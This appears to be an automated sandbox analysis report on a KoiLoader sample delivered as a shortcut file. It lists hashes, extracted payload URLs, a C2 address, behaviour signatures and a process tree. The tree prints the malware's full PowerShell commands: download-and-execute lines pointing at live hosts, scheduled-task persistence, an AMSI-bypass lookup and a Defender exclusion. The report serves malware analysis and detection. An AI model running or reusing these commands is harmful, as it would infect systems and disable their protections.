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Analysis

  • max time kernel
    134s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/12/2024, 11:14

General

  • Target

    22_11_2024_stmnt.lnk

  • Size

    3KB

  • MD5

    a8adbb0f006cbb7a70d7c2dcb0e2cff6

  • SHA1

    38f9fbf5a68943dc8f265191bb302722afed95d7

  • SHA256

    d480330c8ee5ab7fb143c23321531474b736e7cca9abe933da41b2fe2472863c

  • SHA512

    97686340a9b30c0516f8f7ac76a19a6547a6e407588dca5ac042ac767af0c57560059457e8042ccb2d3a031637d5ebd2d299e14446c6e0768c5cae75c1ae45fb

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Family

koiloader

C2

http://195.123.217.43/oversate.php

Attributes
  • payload_url

    https://www.italialife24.it/wp-content/uploads/2021/05

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 2 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\22_11_2024_stmnt.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -comman [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $KxiAN4CB6Eh1v = New-Object Net.WebClient; $cio = $KxiAN4CB6Eh1v.DownloadData('https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php'); $KxiAN4CB6Eh1v.DownloadFile('https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php', 'epZTzlYAtsWrS0.js'); schtasks /create /sc minute /mo 1 /f /tr ([System.Text.Encoding]::UTF8.GetString($cio) + $env:tmp + '\' + ('epZTzlYAtsWrS0.js ' * 2)) /tn e0OvtdEL8;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2260
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\Users\Admin\AppData\Local\Temp\epZTzlYAtsWrS0.js epZTzlYAtsWrS0.js " /tn e0OvtdEL8
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2760
  • C:\Windows\system32\wscript.EXE
    C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\epZTzlYAtsWrS0.js epZTzlYAtsWrS0.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\FOSU73NQNI1R.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn epZTzlYAtsWrS0.js /f; wscript $env:programdata\FOSU73NQNI1R.js "
      2⤵
      • Blocklisted process makes network request
      • Indicator Removal: Clear Persistence
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn epZTzlYAtsWrS0.js /f
        3⤵
          PID:3480
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" C:\ProgramData\FOSU73NQNI1R.js
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1248
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7z968NWNADKG'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:32
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2668
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4208
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2116
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3492
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4972
    • C:\Windows\system32\wscript.EXE
      C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\epZTzlYAtsWrS0.js epZTzlYAtsWrS0.js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\FOSU73NQNI1R.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn epZTzlYAtsWrS0.js /f; wscript $env:programdata\FOSU73NQNI1R.js "
        2⤵
        • Blocklisted process makes network request
        • Indicator Removal: Clear Persistence
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /delete /tn epZTzlYAtsWrS0.js /f
          3⤵
            PID:3996
          • C:\Windows\system32\wscript.exe
            "C:\Windows\system32\wscript.exe" C:\ProgramData\FOSU73NQNI1R.js
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:1840
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zRJDVJW9C00'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3352
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe "C:\ProgramData\r896de533-e5fb-4eb9-8f2b-d363f3584dc5r.js"
        1⤵
          PID:4608

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\FOSU73NQNI1R.js

          Filesize

          1KB

          MD5

          0ead04f3f2ad26eb1e5a983066aa689c

          SHA1

          94f6c706996d56be57d42b743932d17f78b64144

          SHA256

          63ac3c2dba91ac27f590009a649d684d22106e524f31b6cbad3fcfb2c938bce6

          SHA512

          776ada97e20d619e7a4e0959ad70bdcd82976bc8b1736dc10f4494dac8e9c7dccc20344648144dbe714964ff5d66612b20480b2c2b002376c4f5eeb868940ef8

        • C:\ProgramData\FOSU73NQNI1R.js

          Filesize

          1KB

          MD5

          8523f9aaf8bb5fd45943b761c09ec5a0

          SHA1

          b784a2b90666a420c71ff79b0e8db497ec13978a

          SHA256

          8f7462e9501020ad30df32cb30b5fafe658a3af0d424649f5898493955530c73

          SHA512

          744efddcf89e3992d9b95cb468216297c7deeaa03a1bc9728448392bb42f1529eaa80f17bd02a6f1ab992d28cf51c8efd0628757e3fcae52eebad3d90886fe54

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

          Filesize

          53KB

          MD5

          06ad34f9739c5159b4d92d702545bd49

          SHA1

          9152a0d4f153f3f40f7e606be75f81b582ee0c17

          SHA256

          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

          SHA512

          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          612B

          MD5

          507bdf00df0b4b3fe4de09b2b2cc973e

          SHA1

          ab68f85ec79df95cd52452a5420f0745fa651c6a

          SHA256

          b55a6f2c227f571daa050b41a5b92e64eff323786016206b145a123404eba371

          SHA512

          f83f5413a3c2ac06ef82099bc2818c8f967db2159ff115fd49edf833929c536465ae3a668bcd60309beb96dc0afa8068bbf6578f9b4b06954761b652307cebd1

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          19KB

          MD5

          d3a691c8ff6562bcde7eff62bec48236

          SHA1

          67cfeede080a4de535bddbef80fb51f938dd8e2f

          SHA256

          460103b1c544ad1e872b7d0d2b3f33dd3eb7a0bfda424f2608cf8f4a13971edf

          SHA512

          049b21bc9aad7efba1328ffd0da8f63cf80624e37fae1ab0e3e55138aeef6475a525c1eef0acb7e8f8c319cf6ac8122359f40ea8e325447a02d9dfb5edb3dbfd

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          477031a32089e6d066092d640b526add

          SHA1

          5041602c7c71b4c6e40928039dcc07b6b32a67f2

          SHA256

          0ec3dcb238a28e1b43e2f7b03f955f6304927314c40a51f1d4b2b00345c12bef

          SHA512

          01388ea1af8248901beb17d1fa62efead2ae1bf9accfc8e132f4f0c0e77c068fd7e998d218043fdc90c497824ca3723689502490da4fd97237a4f0d40ef2bb4e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          2b856bda56945fa7252034b16c0189f0

          SHA1

          df2d4ff8394cc57a8c399bfb5602679bfdcde06b

          SHA256

          ffc29461bd43b0ffffa1c06c260f5089cce205cab26a1a1032b924272b718205

          SHA512

          8843b6d91163d345e2aded8143d941388852ed3d4aa39ced89a3cf8a50bb908681624a7008c0b82359736cc3222f7908a1c34442028491921d243c0581aeb3e9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          a2b24af1492f112d2e53cb7415fda39f

          SHA1

          dbfcee57242a14b60997bd03379cc60198976d85

          SHA256

          fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

          SHA512

          9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ruhz2yof.rcy.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\epZTzlYAtsWrS0.js

          Filesize

          304B

          MD5

          b4a822601fe06adee1ac61e9c7a0c363

          SHA1

          2bf18102d80a860f6567f042e73912176569fdc4

          SHA256

          96fcd5407b6d96796381d8ac8b96fc9ee84adc5123775206f6d45aa402e838b0

          SHA512

          b7289ff574e808195d154d93d14883164c61cb87023740c008f68f1fcf7daa3eb49048b9c0fcea0d16d46e4f7d22f069f37409089403a5ae0eb01f9baccdd813

        • memory/32-56-0x00000000078C0000-0x00000000078CD000-memory.dmp

          Filesize

          52KB

        • memory/32-55-0x0000000007810000-0x0000000007811000-memory.dmp

          Filesize

          4KB

        • memory/32-39-0x0000000005920000-0x0000000005986000-memory.dmp

          Filesize

          408KB

        • memory/32-49-0x0000000005AD0000-0x0000000005E24000-memory.dmp

          Filesize

          3.3MB

        • memory/32-37-0x0000000005170000-0x0000000005192000-memory.dmp

          Filesize

          136KB

        • memory/32-51-0x0000000006120000-0x000000000613E000-memory.dmp

          Filesize

          120KB

        • memory/32-52-0x0000000006160000-0x00000000061AC000-memory.dmp

          Filesize

          304KB

        • memory/32-53-0x0000000006520000-0x000000000653A000-memory.dmp

          Filesize

          104KB

        • memory/32-54-0x0000000007990000-0x000000000800A000-memory.dmp

          Filesize

          6.5MB

        • memory/32-38-0x0000000005840000-0x00000000058A6000-memory.dmp

          Filesize

          408KB

        • memory/32-36-0x0000000005210000-0x0000000005838000-memory.dmp

          Filesize

          6.2MB

        • memory/32-35-0x0000000004B90000-0x0000000004BC6000-memory.dmp

          Filesize

          216KB

        • memory/2260-3-0x000001FF4D610000-0x000001FF4D632000-memory.dmp

          Filesize

          136KB

        • memory/2260-13-0x00007FFF26820000-0x00007FFF272E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2260-14-0x00007FFF26820000-0x00007FFF272E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2260-18-0x00007FFF26820000-0x00007FFF272E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2260-2-0x00007FFF26823000-0x00007FFF26825000-memory.dmp

          Filesize

          8KB

        • memory/3352-134-0x0000000007AD0000-0x0000000007ADD000-memory.dmp

          Filesize

          52KB

        • memory/4208-103-0x00000000084C0000-0x0000000008510000-memory.dmp

          Filesize

          320KB

        • memory/4208-101-0x0000000008A20000-0x0000000008FC4000-memory.dmp

          Filesize

          5.6MB

        • memory/4208-104-0x00000000085B0000-0x0000000008642000-memory.dmp

          Filesize

          584KB

        • memory/4208-102-0x0000000007CD0000-0x0000000007CEA000-memory.dmp

          Filesize

          104KB

        • memory/4208-100-0x0000000007C30000-0x0000000007C52000-memory.dmp

          Filesize

          136KB

        • memory/4972-94-0x00000000074C0000-0x00000000074CE000-memory.dmp

          Filesize

          56KB

        • memory/4972-97-0x00000000075B0000-0x00000000075B8000-memory.dmp

          Filesize

          32KB

        • memory/4972-95-0x00000000074D0000-0x00000000074E4000-memory.dmp

          Filesize

          80KB

        • memory/4972-96-0x00000000075D0000-0x00000000075EA000-memory.dmp

          Filesize

          104KB

        • memory/4972-93-0x0000000007490000-0x00000000074A1000-memory.dmp

          Filesize

          68KB

        • memory/4972-92-0x0000000007510000-0x00000000075A6000-memory.dmp

          Filesize

          600KB

        • memory/4972-82-0x0000000007300000-0x000000000730A000-memory.dmp

          Filesize

          40KB

        • memory/4972-81-0x0000000007150000-0x00000000071F3000-memory.dmp

          Filesize

          652KB

        • memory/4972-80-0x0000000006520000-0x000000000653E000-memory.dmp

          Filesize

          120KB

        • memory/4972-70-0x00000000705E0000-0x000000007062C000-memory.dmp

          Filesize

          304KB

        • memory/4972-69-0x0000000006F10000-0x0000000006F42000-memory.dmp

          Filesize

          200KB